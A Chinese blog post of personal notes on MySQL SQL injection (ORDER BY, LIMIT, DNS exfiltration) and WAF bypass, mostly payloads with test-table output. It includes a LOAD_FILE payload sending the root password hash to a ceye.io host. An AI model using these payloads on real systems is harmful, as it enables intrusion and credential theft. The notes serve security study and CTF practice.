常见的sql注入方式和waf绕过

Posted by sp4rk on March 20, 2018

朋友分享了一些sql注入和waf绕过的特殊技巧,我这里想简单的记录下……

0x01 order by注入

1. 盲注

1. 布尔

a. if

select * from user where user_id=1 order by 1-if(substr(version(),1,1)=5,1,(select 1 union select 2));
+-------+-----------+---------+
| user  | password  | user_id |
+-------+-----------+---------+
| admin | admintest |       1 |
+-------+-----------+---------+
1 row in set (0.00 sec)

b.rand

mysql> select rand(true);
+---------------------+
| rand(true)          |
+---------------------+
| 0.40540353712197724 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(false);
+---------------------+
| rand(false)         |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

这里可以利用rand(true) rand(false)的值不同,排序注入后面的顺序也不同

mysql> select * from user order by 1-rand(substr(version(),1,1)=5);
+-------+-----------+---------+
| user  | password  | user_id |
+-------+-----------+---------+
| test  | testadmin |       2 |
| admin | admintest |       1 |
| sp4rk | sp4rktest |       3 |
+-------+-----------+---------+
3 rows in set (0.02 sec)

c.regexp select * from user order by 1-if(1=(select 1 regexp if(1=1,1,0x00)),1,1);

2 报错注入

select * from user order by 1-updatexml(1,concat(0x5e24,version(),0x5e24),0);
ERROR 1105 (HY000): XPATH syntax error: '^$5.7.22-0ubuntu18.04.1^$'
mysql> select * from user order by 1-extractvalue(1,concat(0x5e24,version(),0x5e24));
ERROR 1105 (HY000): XPATH syntax error: '^$5.7.22-0ubuntu18.04.1^$'

3 延时注入

select * from user order by 1-if(ascii(substr(user(),1,1))=114,sleep(5),0);

4 asc desc处

1.盲注

mysql> select user from user order by user,if(substr(version(),1,1)=5,1,(select 1 union select 2)) desc;
+-------+
| user  |
+-------+
| admin |
| sp4rk |
| test  |
+-------+

报错,延时同上

5 逻辑区别进行排序

mysql> select user from user order by 1-if(1=1,user,user_id);
+-------+
| user  |
+-------+
| admin |
| test  |
| sp4rk |
+-------+
3 rows in set, 3 warnings (0.00 sec)

mysql> select user from user order by 1-if(1=1,user_id,user);
+-------+
| user  |
+-------+
| sp4rk |
| test  |
| admin |
+-------+

payload:    ,if(1=1,user_id,user);
,(case when (1=1) then user_id else user end)
,ifnull(null,user_id)
,rand(1=1)

6利用报错判断

payload:
if(1=1,1,(select 1 union select 2))  正确
if(1=2,1,(select 1 union select 2)) 错误
if(1=1,1,(select 1 from information_schema.tables)) 正确
if(1=2,1,(select 1 from information_schema.tables)) 错误

0x02 limit注入

这种类型一般实际情况中在参数为start返回一些结果变量的时候,或者其他一些情况,在ctf中也比较多

1 没有order by

可以跟union select 进行查询

mysql> select user from users limit 0,1 union select user from users;
+-------+
| user  |
+-------+
| admin |
| test  |
| sp4rk |
| qwer  |
+-------+

2 有 order by

这里具体原理可以参考文章 Mysql注入点在limit关键字后面的利用方法

mysql> select user from users order by user_id limit 0,4 procedure analyse(extractvalue(1,concat(0x5e24,version(),0x5e24)),1);
ERROR 1105 (HY000): XPATH syntax error: '^$5.5.53^$'
基于时间  
select user from users order by user_id limit 0,4 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5,BENCHMARK(5,SHA1(1)),1))))),1);
mysql应该是有版本限制,我这里测试的时候并没有延时....

0x03 dns注入

这个是针对盲注测试的时候,可以直接用看dns解析请求的方式去快速获取数据,这里直接贴一下payload

LOAD_FILE(CONCAT(0x5C5C,(HEX(USER())),0x2E3563733076642E636579652E696F5C313233))

下面这个是没有引号的
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.xxxx.ceye.io\\abc'));

这里上面的地址可以用ceye.io这个网站去看dns的解析记录

0x04 waf绕过(这里仅记录一下,以空格为例)

1 fuzz(以绕过空格为例子)

朋友分享的一些常见的,和一些通用waf的绕过姿势,看一下,做一下记录 我这里以空格为例子,mysql中当语句为如下的时候返回不同

mysql> select * from users where user_id='1' and 1=1;
+---------+-------+-----------+
| user_id | user  | password  |
+---------+-------+-----------+
|       1 | admin | admintest |
+---------+-------+-----------+
1 row in set (0.29 sec)

mysql> select * from users where user_id='1' and 1=2;
Empty set (0.00 sec)

在firefox中用hackbar测试这里空格被url编码了为%20 这里我自己写了个脚本,生成了一系列各种符号的url编码,ascii码值,用于fuzz

import sys

save_file = sys.argv[1]
pre = '0x'
num = [1,2,3,4,5,6,7,8,9]
word = ['QWERTYUIOPLKJHGFDSAZXCVBNMqwertyuioplkjhgfdsazxcvbnm']
with open(save_file,'wb') as file:
	for i in range(0,52):
		for n in word:
			tar = '0' + n[i] + '\n'
			file.write(tar)
			for a in num:
				res = str(pre) + str(a) + n[i] + '\n'
				print res	
				file.write(res)

这里以空格为例子 对这里的20进行爆破,加载上面生成的字典 这里可以看到%0a-d都可以代替进行绕过

2 其他的一些姿势(还是以空格为例子)

payload
select{user table_name}from{users information_schema.tables};
返回全部表
符号   + /**/  () 0x90等
select .1from users;
/*!50000select*/user from users;
select 0e1from users;
select version%0b()
select`version()`     
select`version`%0b()
mysql> select`user`from`users`;
+-------+
| user  |
+-------+
| admin |
| test  |
| sp4rk |
| qwer  |
+-------+
4 rows in set (0.00 sec)

0x05 参考文章

sql注入 突破延迟注入和盲注速度限制,利用dns注入快速获取数据 为什么感觉在实际的测试中ORDER BY注入的比例变高了